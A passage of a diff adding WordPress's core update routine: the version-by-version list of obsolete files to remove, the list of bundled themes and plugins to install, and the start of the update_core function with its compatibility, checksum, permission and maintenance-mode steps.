+'wp-admin/images/fav-top-vs.gif',
+'wp-admin/images/list-vs.png',
+'wp-admin/images/screen-options-right-up.gif',
+'wp-admin/images/screen-options-right.gif',
+'wp-admin/images/visit-site-button-grad-vs.gif',
+'wp-admin/images/visit-site-button-grad.gif',
+'wp-admin/link-category.php',
+'wp-admin/sidebar.php',
+'wp-includes/classes.php',
+'wp-includes/js/tinymce/blank.htm',
+'wp-includes/js/tinymce/plugins/media/css/content.css',
+'wp-includes/js/tinymce/plugins/media/img',
+'wp-includes/js/tinymce/plugins/safari',
+// 3.2
+'wp-admin/images/logo-login.gif',
+'wp-admin/images/star.gif',
+'wp-admin/js/list-table.dev.js',
+'wp-admin/js/list-table.js',
+'wp-includes/default-embeds.php',
+'wp-includes/js/tinymce/plugins/wordpress/img/help.gif',
+'wp-includes/js/tinymce/plugins/wordpress/img/more.gif',
+'wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif',
+'wp-includes/js/tinymce/themes/advanced/img/fm.gif',
+'wp-includes/js/tinymce/themes/advanced/img/sflogo.png',
+// 3.3
+'wp-admin/css/colors-classic-rtl.css',
+'wp-admin/css/colors-classic-rtl.dev.css',
+'wp-admin/css/colors-fresh-rtl.css',
+'wp-admin/css/colors-fresh-rtl.dev.css',
+'wp-admin/css/dashboard-rtl.dev.css',
+'wp-admin/css/dashboard.dev.css',
+'wp-admin/css/global-rtl.css',
+'wp-admin/css/global-rtl.dev.css',
+'wp-admin/css/global.css',
+'wp-admin/css/global.dev.css',
+'wp-admin/css/install-rtl.dev.css',
+'wp-admin/css/login-rtl.dev.css',
+'wp-admin/css/login.dev.css',
+'wp-admin/css/ms.css',
+'wp-admin/css/ms.dev.css',
+'wp-admin/css/nav-menu-rtl.css',
+'wp-admin/css/nav-menu-rtl.dev.css',
+'wp-admin/css/nav-menu.css',
+'wp-admin/css/nav-menu.dev.css',
+'wp-admin/css/plugin-install-rtl.css',
+'wp-admin/css/plugin-install-rtl.dev.css',
+'wp-admin/css/plugin-install.css',
+'wp-admin/css/plugin-install.dev.css',
+'wp-admin/css/press-this-rtl.dev.css',
+'wp-admin/css/press-this.dev.css',
+'wp-admin/css/theme-editor-rtl.css',
+'wp-admin/css/theme-editor-rtl.dev.css',
+'wp-admin/css/theme-editor.css',
+'wp-admin/css/theme-editor.dev.css',
+'wp-admin/css/theme-install-rtl.css',
+'wp-admin/css/theme-install-rtl.dev.css',
+'wp-admin/css/theme-install.css',
+'wp-admin/css/theme-install.dev.css',
+'wp-admin/css/widgets-rtl.dev.css',
+'wp-admin/css/widgets.dev.css',
+'wp-admin/includes/internal-linking.php',
+'wp-includes/images/admin-bar-sprite-rtl.png',
+'wp-includes/js/jquery/ui.button.js',
+'wp-includes/js/jquery/ui.core.js',
+'wp-includes/js/jquery/ui.dialog.js',
+'wp-includes/js/jquery/ui.draggable.js',
+'wp-includes/js/jquery/ui.droppable.js',
+'wp-includes/js/jquery/ui.mouse.js',
+'wp-includes/js/jquery/ui.position.js',
+'wp-includes/js/jquery/ui.resizable.js',
+'wp-includes/js/jquery/ui.selectable.js',
+'wp-includes/js/jquery/ui.sortable.js',
+'wp-includes/js/jquery/ui.tabs.js',
+'wp-includes/js/jquery/ui.widget.js',
+'wp-includes/js/l10n.dev.js',
+'wp-includes/js/l10n.js',
+'wp-includes/js/tinymce/plugins/wplink/css',
+'wp-includes/js/tinymce/plugins/wplink/img',
+'wp-includes/js/tinymce/plugins/wplink/js',
+'wp-includes/js/tinymce/themes/advanced/img/wpicons.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/button_bg.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/separator.gif',
+// Don't delete, yet: 'wp-rss.php',
+// Don't delete, yet: 'wp-rdf.php',
+// Don't delete, yet: 'wp-rss2.php',
+// Don't delete, yet: 'wp-commentsrss2.php',
+// Don't delete, yet: 'wp-atom.php',
+// Don't delete, yet: 'wp-feed.php',
+// 3.4
+'wp-admin/images/gray-star.png',
+'wp-admin/images/logo-login.png',
+'wp-admin/images/star.png',
+'wp-admin/index-extra.php',
+'wp-admin/network/index-extra.php',
+'wp-admin/user/index-extra.php',
+'wp-admin/images/screenshots/admin-flyouts.png',
+'wp-admin/images/screenshots/coediting.png',
+'wp-admin/images/screenshots/drag-and-drop.png',
+'wp-admin/images/screenshots/help-screen.png',
+'wp-admin/images/screenshots/media-icon.png',
+'wp-admin/images/screenshots/new-feature-pointer.png',
+'wp-admin/images/screenshots/welcome-screen.png',
+'wp-includes/css/editor-buttons.css',
+'wp-includes/css/editor-buttons.dev.css',
+'wp-includes/js/tinymce/plugins/paste/blank.htm',
+'wp-includes/js/tinymce/plugins/wordpress/css',
+'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wordpress/img/embedded.png',
+'wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif',
+'wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif',
+'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css',
+'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png',
+'wp-includes/js/tinymce/plugins/wplink/editor_plugin.dev.js',
+// Don't delete, yet: 'wp-pass.php',
+// Don't delete, yet: 'wp-register.php',
+// 3.5
+'wp-admin/gears-manifest.php',
+'wp-admin/includes/manifest.php',
+'wp-admin/images/archive-link.png',
+'wp-admin/images/blue-grad.png',
+'wp-admin/images/button-grad-active.png',
+'wp-admin/images/button-grad.png',
+'wp-admin/images/ed-bg-vs.gif',
+'wp-admin/images/ed-bg.gif',
+'wp-admin/images/fade-butt.png',
+'wp-admin/images/fav-arrow-rtl.gif',
+'wp-admin/images/fav-arrow.gif',
+'wp-admin/images/fav-vs.png',
+'wp-admin/images/fav.png',
+'wp-admin/images/gray-grad.png',
+'wp-admin/images/loading-publish.gif',
+'wp-admin/images/logo-ghost.png',
+'wp-admin/images/logo.gif',
+'wp-admin/images/menu-arrow-frame-rtl.png',
+'wp-admin/images/menu-arrow-frame.png',
+'wp-admin/images/menu-arrows.gif',
+'wp-admin/images/menu-bits-rtl-vs.gif',
+'wp-admin/images/menu-bits-rtl.gif',
+'wp-admin/images/menu-bits-vs.gif',
+'wp-admin/images/menu-bits.gif',
+'wp-admin/images/menu-dark-rtl-vs.gif',
+'wp-admin/images/menu-dark-rtl.gif',
+'wp-admin/images/menu-dark-vs.gif',
+'wp-admin/images/menu-dark.gif',
+'wp-admin/images/required.gif',
+'wp-admin/images/screen-options-toggle-vs.gif',
+'wp-admin/images/screen-options-toggle.gif',
+'wp-admin/images/toggle-arrow-rtl.gif',
+'wp-admin/images/toggle-arrow.gif',
+'wp-admin/images/upload-classic.png',
+'wp-admin/images/upload-fresh.png',
+'wp-admin/images/white-grad-active.png',
+'wp-admin/images/white-grad.png',
+'wp-admin/images/widgets-arrow-vs.gif',
+'wp-admin/images/widgets-arrow.gif',
+'wp-admin/images/wpspin_dark.gif',
+'wp-includes/images/upload.png',
+'wp-includes/js/prototype.js',
+'wp-includes/js/scriptaculous',
+'wp-admin/css/wp-admin-rtl.dev.css',
+'wp-admin/css/wp-admin.dev.css',
+'wp-admin/css/media-rtl.dev.css',
+'wp-admin/css/media.dev.css',
+'wp-admin/css/colors-classic.dev.css',
+'wp-admin/css/customize-controls-rtl.dev.css',
+'wp-admin/css/customize-controls.dev.css',
+'wp-admin/css/ie-rtl.dev.css',
+'wp-admin/css/ie.dev.css',
+'wp-admin/css/install.dev.css',
+'wp-admin/css/colors-fresh.dev.css',
+'wp-includes/js/customize-base.dev.js',
+'wp-includes/js/json2.dev.js',
+'wp-includes/js/comment-reply.dev.js',
+'wp-includes/js/customize-preview.dev.js',
+'wp-includes/js/wplink.dev.js',
+'wp-includes/js/tw-sack.dev.js',
+'wp-includes/js/wp-list-revisions.dev.js',
+'wp-includes/js/autosave.dev.js',
+'wp-includes/js/admin-bar.dev.js',
+'wp-includes/js/quicktags.dev.js',
+'wp-includes/js/wp-ajax-response.dev.js',
+'wp-includes/js/wp-pointer.dev.js',
+'wp-includes/js/hoverIntent.dev.js',
+'wp-includes/js/colorpicker.dev.js',
+'wp-includes/js/wp-lists.dev.js',
+'wp-includes/js/customize-loader.dev.js',
+'wp-includes/js/jquery/jquery.table-hotkeys.dev.js',
+'wp-includes/js/jquery/jquery.color.dev.js',
+'wp-includes/js/jquery/jquery.color.js',
+'wp-includes/js/jquery/jquery.hotkeys.dev.js',
+'wp-includes/js/jquery/jquery.form.dev.js',
+'wp-includes/js/jquery/suggest.dev.js',
+'wp-admin/js/xfn.dev.js',
+'wp-admin/js/set-post-thumbnail.dev.js',
+'wp-admin/js/comment.dev.js',
+'wp-admin/js/theme.dev.js',
+'wp-admin/js/cat.dev.js',
+'wp-admin/js/password-strength-meter.dev.js',
+'wp-admin/js/user-profile.dev.js',
+'wp-admin/js/theme-preview.dev.js',
+'wp-admin/js/post.dev.js',
+'wp-admin/js/media-upload.dev.js',
+'wp-admin/js/word-count.dev.js',
+'wp-admin/js/plugin-install.dev.js',
+'wp-admin/js/edit-comments.dev.js',
+'wp-admin/js/media-gallery.dev.js',
+'wp-admin/js/custom-fields.dev.js',
+'wp-admin/js/custom-background.dev.js',
+'wp-admin/js/common.dev.js',
+'wp-admin/js/inline-edit-tax.dev.js',
+'wp-admin/js/gallery.dev.js',
+'wp-admin/js/utils.dev.js',
+'wp-admin/js/widgets.dev.js',
+'wp-admin/js/wp-fullscreen.dev.js',
+'wp-admin/js/nav-menu.dev.js',
+'wp-admin/js/dashboard.dev.js',
+'wp-admin/js/link.dev.js',
+'wp-admin/js/user-suggest.dev.js',
+'wp-admin/js/postbox.dev.js',
+'wp-admin/js/tags.dev.js',
+'wp-admin/js/image-edit.dev.js',
+'wp-admin/js/media.dev.js',
+'wp-admin/js/customize-controls.dev.js',
+'wp-admin/js/inline-edit-post.dev.js',
+'wp-admin/js/categories.dev.js',
+'wp-admin/js/editor.dev.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.dev.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/js/popup.dev.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/js/wpdialog.dev.js',
+'wp-includes/js/plupload/handlers.dev.js',
+'wp-includes/js/plupload/wp-plupload.dev.js',
+'wp-includes/js/swfupload/handlers.dev.js',
+'wp-includes/js/jcrop/jquery.Jcrop.dev.js',
+'wp-includes/js/jcrop/jquery.Jcrop.js',
+'wp-includes/js/jcrop/jquery.Jcrop.css',
+'wp-includes/js/imgareaselect/jquery.imgareaselect.dev.js',
+'wp-includes/css/wp-pointer.dev.css',
+'wp-includes/css/editor.dev.css',
+'wp-includes/css/jquery-ui-dialog.dev.css',
+'wp-includes/css/admin-bar-rtl.dev.css',
+'wp-includes/css/admin-bar.dev.css',
+'wp-includes/js/jquery/ui/jquery.effects.clip.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.scale.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.blind.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.core.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.shake.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.fade.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.explode.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.slide.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.drop.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.highlight.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.bounce.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.pulsate.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.transfer.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.fold.min.js',
+'wp-admin/images/screenshots/captions-1.png',
+'wp-admin/images/screenshots/captions-2.png',
+'wp-admin/images/screenshots/flex-header-1.png',
+'wp-admin/images/screenshots/flex-header-2.png',
+'wp-admin/images/screenshots/flex-header-3.png',
+'wp-admin/images/screenshots/flex-header-media-library.png',
+'wp-admin/images/screenshots/theme-customizer.png',
+'wp-admin/images/screenshots/twitter-embed-1.png',
+'wp-admin/images/screenshots/twitter-embed-2.png',
+'wp-admin/js/utils.js',
+'wp-admin/options-privacy.php',
+'wp-app.php',
+'wp-includes/class-wp-atom-server.php',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css',
+// 3.5.2
+'wp-includes/js/swfupload/swfupload-all.js',
+// 3.6
+'wp-admin/js/revisions-js.php',
+'wp-admin/images/screenshots',
+'wp-admin/js/categories.js',
+'wp-admin/js/categories.min.js',
+'wp-admin/js/custom-fields.js',
+'wp-admin/js/custom-fields.min.js',
+// 3.7
+'wp-admin/js/cat.js',
+'wp-admin/js/cat.min.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.min.js',
+// 3.8
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/page_bug.gif',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/more_bug.gif',
+'wp-includes/js/thickbox/tb-close-2x.png',
+'wp-includes/js/thickbox/tb-close.png',
+'wp-includes/images/wpmini-blue-2x.png',
+'wp-includes/images/wpmini-blue.png',
+'wp-admin/css/colors-fresh.css',
+'wp-admin/css/colors-classic.css',
+'wp-admin/css/colors-fresh.min.css',
+'wp-admin/css/colors-classic.min.css',
+'wp-admin/js/about.min.js',
+'wp-admin/js/about.js',
+'wp-admin/images/arrows-dark-vs-2x.png',
+'wp-admin/images/wp-logo-vs.png',
+'wp-admin/images/arrows-dark-vs.png',
+'wp-admin/images/wp-logo.png',
+'wp-admin/images/arrows-pr.png',
+'wp-admin/images/arrows-dark.png',
+'wp-admin/images/press-this.png',
+'wp-admin/images/press-this-2x.png',
+'wp-admin/images/arrows-vs-2x.png',
+'wp-admin/images/welcome-icons.png',
+'wp-admin/images/wp-logo-2x.png',
+'wp-admin/images/stars-rtl-2x.png',
+'wp-admin/images/arrows-dark-2x.png',
+'wp-admin/images/arrows-pr-2x.png',
+'wp-admin/images/menu-shadow-rtl.png',
+'wp-admin/images/arrows-vs.png',
+'wp-admin/images/about-search-2x.png',
+'wp-admin/images/bubble_bg-rtl-2x.gif',
+'wp-admin/images/wp-badge-2x.png',
+'wp-admin/images/wordpress-logo-2x.png',
+'wp-admin/images/bubble_bg-rtl.gif',
+'wp-admin/images/wp-badge.png',
+'wp-admin/images/menu-shadow.png',
+'wp-admin/images/about-globe-2x.png',
+'wp-admin/images/welcome-icons-2x.png',
+'wp-admin/images/stars-rtl.png',
+'wp-admin/images/wp-logo-vs-2x.png',
+'wp-admin/images/about-updates-2x.png',
+// 3.9
+'wp-admin/css/colors.css',
+'wp-admin/css/colors.min.css',
+'wp-admin/css/colors-rtl.css',
+'wp-admin/css/colors-rtl.min.css',
+'wp-admin/css/media-rtl.min.css',
+'wp-admin/css/media.min.css',
+'wp-admin/css/farbtastic-rtl.min.css',
+'wp-admin/images/lock-2x.png',
+'wp-admin/images/lock.png',
+'wp-admin/js/theme-preview.js',
+'wp-admin/js/theme-install.min.js',
+'wp-admin/js/theme-install.js',
+'wp-admin/js/theme-preview.min.js',
+'wp-includes/js/plupload/plupload.html4.js',
+'wp-includes/js/plupload/plupload.html5.js',
+'wp-includes/js/plupload/changelog.txt',
+'wp-includes/js/plupload/plupload.silverlight.js',
+'wp-includes/js/plupload/plupload.flash.js',
+'wp-includes/js/plupload/plupload.js',
+'wp-includes/js/tinymce/plugins/spellchecker',
+'wp-includes/js/tinymce/plugins/inlinepopups',
+'wp-includes/js/tinymce/plugins/media/js',
+'wp-includes/js/tinymce/plugins/media/css',
+'wp-includes/js/tinymce/plugins/wordpress/img',
+'wp-includes/js/tinymce/plugins/wpdialogs/js',
+'wp-includes/js/tinymce/plugins/wpeditimage/img',
+'wp-includes/js/tinymce/plugins/wpeditimage/js',
+'wp-includes/js/tinymce/plugins/wpeditimage/css',
+'wp-includes/js/tinymce/plugins/wpgallery/img',
+'wp-includes/js/tinymce/plugins/wpfullscreen/css',
+'wp-includes/js/tinymce/plugins/paste/js',
+'wp-includes/js/tinymce/themes/advanced',
+'wp-includes/js/tinymce/tiny_mce.js',
+'wp-includes/js/tinymce/mark_loaded_src.js',
+'wp-includes/js/tinymce/wp-tinymce-schema.js',
+'wp-includes/js/tinymce/plugins/media/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/media/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/media/media.htm',
+'wp-includes/js/tinymce/plugins/wpview/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpview/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/directionality/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/directionality/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wordpress/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/editimage.html',
+'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm',
+'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wplink/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wplink/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/paste/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/paste/pasteword.htm',
+'wp-includes/js/tinymce/plugins/paste/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/paste/pastetext.htm',
+'wp-includes/js/tinymce/langs/wp-langs.php',
+// 4.1
+'wp-includes/js/jquery/ui/jquery.ui.accordion.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.autocomplete.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.button.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.core.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.datepicker.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.dialog.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.draggable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.droppable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-blind.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-bounce.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-clip.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-drop.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-explode.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-fade.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-fold.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-highlight.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-pulsate.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-scale.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-shake.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-slide.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect-transfer.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.effect.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.menu.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.mouse.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.position.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.progressbar.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.resizable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.selectable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.slider.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.sortable.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.spinner.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.tabs.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.tooltip.min.js',
+'wp-includes/js/jquery/ui/jquery.ui.widget.min.js',
+'wp-includes/js/tinymce/skins/wordpress/images/dashicon-no-alt.png',
+);
+
+/**
+ * Stores new files in wp-content to copy
+ *
+ * The contents of this array indicate any new bundled plugins/themes which
+ * should be installed with the WordPress Upgrade. These items will not be
+ * re-installed in future upgrades, this behaviour is controlled by the
+ * introduced version present here being older than the current installed version.
+ *
+ * The content of this array should follow the following format:
+ * Filename (relative to wp-content) => Introduced version
+ * Directories should be noted by suffixing it with a trailing slash (/)
+ *
+ * @since 3.2.0
+ * @global array $_new_bundled_files
+ * @var array
+ * @name $_new_bundled_files
+ */
+global $_new_bundled_files;
+
+$_new_bundled_files = array(
+	'plugins/akismet/'       => '2.0',
+	'themes/twentyten/'      => '3.0',
+	'themes/twentyeleven/'   => '3.2',
+	'themes/twentytwelve/'   => '3.5',
+	'themes/twentythirteen/' => '3.6',
+	'themes/twentyfourteen/' => '3.8',
+	'themes/twentyfifteen/'  => '4.1',
+);
+
+/**
+ * Upgrade the core of WordPress.
+ *
+ * This will create a .maintenance file at the base of the WordPress directory
+ * to ensure that people can not access the web site, when the files are being
+ * copied to their locations.
+ *
+ * The files in the {@link $_old_files} list will be removed and the new files
+ * copied from the zip file after the database is upgraded.
+ *
+ * The files in the {@link $_new_bundled_files} list will be added to the installation
+ * if the version is greater than or equal to the old version being upgraded.
+ *
+ * The steps for the upgrader for after the new release is downloaded and
+ * unzipped is:
+ *   1. Test unzipped location for select files to ensure that unzipped worked.
+ *   2. Create the .maintenance file in current WordPress base.
+ *   3. Copy new WordPress directory over old WordPress files.
+ *   4. Upgrade WordPress to new version.
+ *     4.1. Copy all files/folders other than wp-content
+ *     4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR
+ *     4.3. Copy any new bundled themes/plugins to their respective locations
+ *   5. Delete new WordPress directory path.
+ *   6. Delete .maintenance file.
+ *   7. Remove old files.
+ *   8. Delete 'update_core' option.
+ *
+ * There are several areas of failure. For instance if PHP times out before step
+ * 6, then you will not be able to access any portion of your site. Also, since
+ * the upgrade will not continue where it left off, you will not be able to
+ * automatically remove old files and remove the 'update_core' option. This
+ * isn't that bad.
+ *
+ * If the copy of the new WordPress over the old fails, then the worse is that
+ * the new WordPress directory will remain.
+ *
+ * If it is assumed that every file will be copied over, including plugins and
+ * themes, then if you edit the default theme, you should rename it, so that
+ * your changes remain.
+ *
+ * @since 2.7.0
+ *
+ * @param string $from New release unzipped path.
+ * @param string $to Path to old WordPress installation.
+ * @return WP_Error|null WP_Error on failure, null on success.
+ */
+function update_core($from, $to) {
+	global $wp_filesystem, $_old_files, $_new_bundled_files, $wpdb;
+
+	@set_time_limit( 300 );
+
+	/**
+	 * Filter feedback messages displayed during the core update process.
+	 *
+	 * The filter is first evaluated after the zip file for the latest version
+	 * has been downloaded and unzipped. It is evaluated five more times during
+	 * the process:
+	 *
+	 * 1. Before WordPress begins the core upgrade process.
+	 * 2. Before Maintenance Mode is enabled.
+	 * 3. Before WordPress begins copying over the necessary files.
+	 * 4. Before Maintenance Mode is disabled.
+	 * 5. Before the database is upgraded.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $feedback The core update feedback messages.
+	 */
+	apply_filters( 'update_feedback', __( 'Verifying the unpacked files&#8230;' ) );
+
+	// Sanity check the unzipped distribution.
+	$distro = '';
+	$roots = array( '/wordpress/', '/wordpress-mu/' );
+	foreach ( $roots as $root ) {
+		if ( $wp_filesystem->exists( $from . $root . 'readme.html' ) && $wp_filesystem->exists( $from . $root . 'wp-includes/version.php' ) ) {
+			$distro = $root;
+			break;
+		}
+	}
+	if ( ! $distro ) {
+		$wp_filesystem->delete( $from, true );
+		return new WP_Error( 'insane_distro', __('The update could not be unpacked') );
+	}
+
+	// Import $wp_version, $required_php_version, and $required_mysql_version from the new version
+	// $wp_filesystem->wp_content_dir() returned unslashed pre-2.8
+	$versions_file = trailingslashit( $wp_filesystem->wp_content_dir() ) . 'upgrade/version-current.php';
+	if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $versions_file ) ) {
+		$wp_filesystem->delete( $from, true );
+		return new WP_Error( 'copy_failed_for_version_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-includes/version.php' );
+	}
+
+	$wp_filesystem->chmod( $versions_file, FS_CHMOD_FILE );
+	require( WP_CONTENT_DIR . '/upgrade/version-current.php' );
+	$wp_filesystem->delete( $versions_file );
+
+	$php_version    = phpversion();
+	$mysql_version  = $wpdb->db_version();
+	$old_wp_version = $GLOBALS['wp_version']; // The version of WordPress we're updating from
+	$development_build = ( false !== strpos( $old_wp_version . $wp_version, '-' )  ); // a dash in the version indicates a Development release
+	$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
+	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+		$mysql_compat = true;
+	else
+		$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
+
+	if ( !$mysql_compat || !$php_compat )
+		$wp_filesystem->delete($from, true);
+
+	if ( !$mysql_compat && !$php_compat )
+		return new WP_Error( 'php_mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) );
+	elseif ( !$php_compat )
+		return new WP_Error( 'php_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version ) );
+	elseif ( !$mysql_compat )
+		return new WP_Error( 'mysql_not_compatible', sprintf( __('The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version ) );
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Preparing to install the latest version&#8230;' ) );
+
+	// Don't copy wp-content, we'll deal with that below
+	// We also copy version.php last so failed updates report their old version
+	$skip = array( 'wp-content', 'wp-includes/version.php' );
+	$check_is_writable = array();
+
+	// Check to see which files don't really need updating - only available for 3.7 and higher
+	if ( function_exists( 'get_core_checksums' ) ) {
+		// Find the local version of the working directory
+		$working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro;
+
+		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );
+		if ( is_array( $checksums ) && isset( $checksums[ $wp_version ] ) )
+			$checksums = $checksums[ $wp_version ]; // Compat code for 3.7-beta2
+		if ( is_array( $checksums ) ) {
+			foreach( $checksums as $file => $checksum ) {
+				if ( 'wp-content' == substr( $file, 0, 10 ) )
+					continue;
+				if ( ! file_exists( ABSPATH . $file ) )
+					continue;
+				if ( ! file_exists( $working_dir_local . $file ) )
+					continue;
+				if ( md5_file( ABSPATH . $file ) === $checksum )
+					$skip[] = $file;
+				else
+					$check_is_writable[ $file ] = ABSPATH . $file;
+			}
+		}
+	}
+
+	// If we're using the direct method, we can predict write failures that are due to permissions.
+	if ( $check_is_writable && 'direct' === $wp_filesystem->method ) {
+		$files_writable = array_filter( $check_is_writable, array( $wp_filesystem, 'is_writable' ) );
+		if ( $files_writable !== $check_is_writable ) {
+			$files_not_writable = array_diff_key( $check_is_writable, $files_writable );
+			foreach ( $files_not_writable as $relative_file_not_writable => $file_not_writable ) {
+				// If the writable check failed, chmod file to 0644 and try again, same as copy_dir().
+				$wp_filesystem->chmod( $file_not_writable, FS_CHMOD_FILE );
+				if ( $wp_filesystem->is_writable( $file_not_writable ) )
+					unset( $files_not_writable[ $relative_file_not_writable ] );
+			}
+
+			// Store package-relative paths (the key) of non-writable files in the WP_Error object.
+			$error_data = version_compare( $old_wp_version, '3.7-beta2', '>' ) ? array_keys( $files_not_writable ) : '';
+
+			if ( $files_not_writable )
+				return new WP_Error( 'files_not_writable', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), implode( ', ', $error_data ) );
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
+	apply_filters( 'update_feedback', __( 'Enabling Maintenance mode&#8230;' ) );
+	// Create maintenance file to signal that we are upgrading
+	$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
+	$maintenance_file = $to . '.maintenance';
+	$wp_filesystem->delete($maintenance_file);
+	$wp_filesystem->put_contents($maintenance_file, $maintenance_string, FS_CHMOD_FILE);
+
+	/** This filter is documented in wp-admin/includes/update-core.php */
